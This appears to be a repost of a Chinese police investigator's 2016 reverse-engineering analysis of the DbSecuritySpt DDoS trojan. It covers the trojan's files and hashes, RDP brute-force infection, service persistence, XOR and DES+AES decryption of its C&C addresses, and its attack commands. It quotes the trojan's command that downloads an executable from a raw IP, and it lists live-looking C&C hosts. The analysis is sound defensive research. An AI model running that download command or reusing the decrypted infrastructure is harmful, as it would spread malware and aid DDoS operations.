分享:DDOS案中涉案木马(DbSecuritySpt)的深入分析

admin 2020年9月29日10:45:45评论17 views字数 4617阅读15分23秒阅读模式

 这次能力验证,大家都对所出的题赞不绝口,虽然最后两题开玩笑说是“超纲了”,但绝对贴近实战,因为实战中木马会采用修改UPX包头的方式来进行变种壳。下面分享一个实战中的木马分析,一观它的难度。

    从验证题来看,这是个较为真实的场景,体现了出题者的思路和对现实状况的认知引领,非常好。我认为好在两个方面,一是在实战中经常遇到,大家有的是机会得到训练;二是从对抗网络黑客犯罪的角度来说,这是常态,虽然难,但要克服。

    下面分享一个2016年的木马,我对木马的回连地址所使用的加密算法进行了逆向分析。因为通常我们对木马的回连地址分析采用的是抓包的快速分析方法。换位思考,木马作者为了隐藏木马,常会改变地址以及端口号,为了更好地保护C&C,就会采用加密的方式来处理。同时这个木马是个非常有名的家族式木马,产生了好几代依然“健在”,一定有它过人之处,我也非常感兴趣,正好也做为一个课题来研究。这个木马使用了很多技巧,我大约花了好几个晚上的时间来不停地、反复地、渐进式的深入分析,在逆向的过程中也充满了郁闷和不堪,唯有坚持,最后总结出了其所使用的算法数学公式,发现作者在回连地址的编程处理上的前后矛盾的地方。

    这里分享给大家,让大家感受一下此类的实战,我觉得这时候更有认同感。文章发表于2016年,有些年数了,可能现在木马有了一些新的变化。

DDOS案中涉案木马(DbSecuritySpt)的深入分析

作者:戴华,安徽省铜陵市公安局网安支队,244000

摘要:在工作中发现此类木马被广泛用于DDOS攻击之中。虽然“VirScan”、“火眼”等自动化分析工具中都有报告,但均语焉不详。为了准确掌握木马特性,我们对木马样本进行了逆向分析,推断了木马文件间的关联关系,解密提取了木马的回传地址,破解了加密算法(无此类文章提及),解开了回传字符串的含义,剖析了木马的攻击等相关功能。

关键词:木马; DDOS; 功能性分析

 

Abstract: This kind of Trojan is widely used in DDOS attacks. Although the "VirScan", "fire" and other automated analysis tools have been reported, but did not elaborate. In order to accurately grasp the characteristics of Trojan, we reversed analysis of Trojan, inferred the relationship between Trojan files, decrypt the extracted return address of Trojan, break the encryption algorithm, untie the string back meaning, analyzed the Trojan attacks and other related functions.

Keywords: Trojan、DDOS、Functional analysis

 

    2016年8月,工作中发现一款DDOS类型的涉案木马DbSecuritySpt,为了更好地掌握其特性,我们对提取出来的木马样本(win 32版)进行了深入分析,限于水平,不能很好地体现出木马的原貌。

1、木马基本情况

1.1、木马样本件5个

DbSecuritySpt.exe(MD5:4593d356cf9ec3bf63ab95ab7f27e791)

SESDKDummy.dll(MD5:66de92b4ef6b9dd67952f8aec842792f)

svch0st.exe(MD5:4766b32db089fe85db28681af5373085)

cmd.n、conf.n。

1.2、木马功能

1.2.1 5个文件的分工:

conf.n为木马的全局配置文件,如线程、攻击方式等。

cmd.n为木马执行命令的文件。如程序中命令为:TASKKILL /F /IM ;http://183.6.192.186:801/123.exe

DbSecuritySpt.exe为主程序,提供木马攻击、回传地址等功能。

SESDKDummy.dll为主程序的附属DLL,主要是为反调试服务,防止主程序中的关键代码被跟踪。

svch0st.exe为后门程序,为下载者角色。

1.2.2基本流程

A、通过暴力破解administrator RDP帐户的弱口令来植入木马;

B、木马运行后会添加服务DbSecuritySpt,自启动作用;

C、木马通过以下ip完成接受木马安装、接受控制服务器命令等工作;

    115.231.218.64:8226

    250.ddoshack.com:3306

D、恶意程序会开线程根据接收到命令进行攻击工作。

1.2.3木马家谱

    DbSecuritySpt.exe:主程序,又有回传受控地址,因此分析它是重点。

    这是个还有Bot僵尸网络的DDOS类木马,分为windows、linux版本,其中:Windows又分为x86和x64(32、64位)。这里分析的是提取到的32位程序,如果是64位的还会多出packet.dll及npf.sys。该木马最早出现于2011年,后发展成为带有botnet(僵尸网络)形式的DDOS木马,它有个中文名字:“Chinese Chicken”。但我们现在分析的应该是它的“后代”,是变种,如下图:

分享:DDOS案中涉案木马(DbSecuritySpt)的深入分析

2、木马的功能性分析

2.1“火眼”的自动分析

下图可以看出,“火眼”系统无法给出具体的信息,自动化分析无法达到我们的要求。那就手工分析吧!

分享:DDOS案中涉案木马(DbSecuritySpt)的深入分析

2.2木马在现场机器上的运行状态

    在系统进程中有“DbSecuritySpt.exe”,其加载SESDKDummy.dll。服务”DbSecuritySpt”处于启动状态。如下图:

分享:DDOS案中涉案木马(DbSecuritySpt)的深入分析

在进程中有外连IP:端口,23.247.5.52:3306。如下图:

分享:DDOS案中涉案木马(DbSecuritySpt)的深入分析

2.3木马文件的手工分析(以下涉及到的地址均以401000H为基准)

2.3.1 DbSecuritySpt

    该程序没有修改其他同类木马的UPX包头,其主框架是通过注册成DbSecuritySpt服务来分发驱动,配置好服务名、服务入口,如下图:

分享:DDOS案中涉案木马(DbSecuritySpt)的深入分析

    接下来,会看到木马在系统中查找自身,如c:program filesDbSecuritySptDbSecuritySpt.exe、c:program filesWindows Media PlayerDNSProtection.exe等,并检测文件名是否为“udate_temporary.exe”,如有就执行DoUpdate并退出。如下图:

分享:DDOS案中涉案木马(DbSecuritySpt)的深入分析

2.3.1.1回传地址

    在完成一些常规动作后,开始进入到关键部位:对加密字符串进行解密,生成回传地址,如下图:

分享:DDOS案中涉案木马(DbSecuritySpt)的深入分析

    历经复杂的、头晕眼花的算法跟踪解密后,呈现出来了两个至关重要的回传地址。

 A、115.231.218.64:8226,如下图:

分享:DDOS案中涉案木马(DbSecuritySpt)的深入分析

B、250.ddoshack.com,如下图:

分享:DDOS案中涉案木马(DbSecuritySpt)的深入分析

    回传地址的解密位置分别位于程序体19210H、1940DH处;

解密后数据位置分别通过:mov ecx,dword ptr ss:[ESP+8CH] 和mov edx,dword ptr ss:[ESP+84H]指令进行传递;

    解密算法分别位于程序体的17720H、1940DH处,通过CALL 17B80、CALL 7060H进行调用。

  在上图的注释区,可以看到“115.231.218.64:8226:1:1:ssh4ckss:1、250.ddoshack.com:3306:1:1:baidu:1”两个字符串,每个字符串中用“:”进行分隔。经过分析,其基本含义为:“C&C主机IP:C&C端口号:是否打开监听端口:是否以服务启动:代号:是否留后门”。

2.3.1.2 加密算法

    在程序中最重要的回传地址是通过SESDKDummy.dll中的SEProtectStart/End来重点保护防破解的,第一个加密算法逆向真情非常得复杂,充满着诡异。但第2个加密算法又过于简单,两者充满着戏剧性反差,确实令人啼笑皆非。如果因为第1个很难就放弃了,第2个也就没办法得出结论。

    我们会想这两个回传地址之间有什么联系呢?结果是:一毛钱关系都没有。令人大跌眼镜!

    第1个域名IP(115.231.218.64:8226:1:1:ssh4ckss:1)地址通过DES+AES算法解密(此IP为主程序的守护地址)。

    第2个域名(250.ddoshack.com:3306:1:1:baidu:1)地址居然是利用程序中留好的密钥异或出来的(此IP为受控回传地址)。

    

    密钥为:33H、01H、34H、04H、2AH、4EH、2AH、45H、36H、5EH、3FH、5CH、37H、19H、7AH、15H、78H、42H、71H、42H、72H、44H、7EH、4FH、75H、44H、7EH、1CH、7DH、14H、70H、05H、3FH、0EH、0EH、00H。密钥位于程序体39C4C处(载入点为1000H),如图

分享:DDOS案中涉案木马(DbSecuritySpt)的深入分析

    密钥解密程序段位于35B00H处(解密程序段也未被加密保护)。解密方法为:用密钥中后一个数值异或前一个数值作为当前字符,如:33H xor 01H =32H(字符’2’)、01H xor 34H =35H(字符’5’)、34H xor 04H =30H(字符’0’),这不就是’250’域名的开头么,以此类推,就得出了回传的真正地址。如下图:

分享:DDOS案中涉案木马(DbSecuritySpt)的深入分析

    其次,在250.ddoshack.com:3306:1:1:baidu:1中有端口号及其它参数,从逆向来看,应该是动态可变更的(如将端口号变成3308),这个是怎么把控的呢?作者使用了一个巧妙的作法:如图:

分享:DDOS案中涉案木马(DbSecuritySpt)的深入分析

这段解密程序是个除法公式,分列式,好理解:

    K=ecx-esi

    A=(K+92492493H*K) div 2^4

    B=(K+92492493H*K) mod 2^4

    Eax=C=(A div 2^32)+(B mod 2^32)

    结果放在eax中。对重要参数(“C&C端口号、是否监听端口、是否以服务启动、代号、是否留后门”)进行解密放入字符串中,图中对端口号运算解密。

    2.3.1.3 程序接受指令

    如下图的:AUCLoopCmd等待信号执行cmd.n配置文件中的命令、AUCConfig配置文件conf.n、AUFakeDetectPayload僵尸Bot加载负荷、AUCSubTask控制服务器下发的命令信息、AUCShellCmd反向连接的shell等。

分享:DDOS案中涉案木马(DbSecuritySpt)的深入分析

可发动CC、ICMP、SYN、UDP、DNS(或Dns放大)的DDOS攻击。如下图

分享:DDOS案中涉案木马(DbSecuritySpt)的深入分析

2.3.2 Svch0st.exe

    Svch0st.exe以服务的形式启动,扮演一个后门下载者的角色。主程序将C&C服务器列表通过conf.n文件传递给svch0st.exe后进行下载。

2.3.3 SESDKDummy.dll

    为主程序的附属DLL,主要是为反调试服务,防止主程序中的关键代码被跟踪。

    因为没有DbSecuritySpt的安装程序,无法运行,对它的发包情况就没有研究了。

 

感谢无糖学院导师戴华老师分享。

欢迎关注公众号MicroPest

分享:DDOS案中涉案木马(DbSecuritySpt)的深入分析

原文始发于微信公众号(无糖反网络犯罪研究中心):分享:DDOS案中涉案木马(DbSecuritySpt)的深入分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年9月29日10:45:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   分享:DDOS案中涉案木马(DbSecuritySpt)的深入分析http://cn-sec.com/archives/1068445.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息